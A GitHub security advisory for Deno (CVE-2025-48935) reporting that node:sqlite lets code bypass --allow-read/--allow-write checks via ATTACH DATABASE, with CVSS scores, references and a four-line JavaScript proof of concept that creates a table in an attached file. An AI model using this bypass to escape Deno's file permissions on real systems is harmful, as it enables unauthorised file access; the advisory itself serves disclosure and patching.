denoland/deno · Security
Deno has --allow-read / --allow-write permission bypass in `node:sqlite`
- GHSA ID
- GHSA-8vxj-4cph-c596
- CVE ID
- CVE-2025-48935
- Severity
- medium
- Published
- Updated
- CVSS
- 9.1 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
- CVSS v3
- 9.1 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
- CVSS v4
- 5.5 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Description
Summary
It is possible to bypass Deno's read/write permission checks by using ATTACH DATABASE statement.
PoC
// poc.js
import { DatabaseSync } from "node:sqlite"
const db = new DatabaseSync(":memory:");
db.exec("ATTACH DATABASE 'test.db' as test;");
db.exec("CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);");
$ deno poc.js
CWEs
- CWE-863 · Incorrect Authorization
References
- https://github.com/denoland/deno/security/advisories/GHSA-8vxj-4cph-c596 ↗
- https://github.com/denoland/deno/commit/31a97803995bd94629528ba841b2418d3ca01860 ↗
- https://nvd.nist.gov/vuln/detail/CVE-2025-48935 ↗
- https://rustsec.org/advisories/RUSTSEC-2025-0138.html ↗
- https://github.com/advisories/GHSA-8vxj-4cph-c596 ↗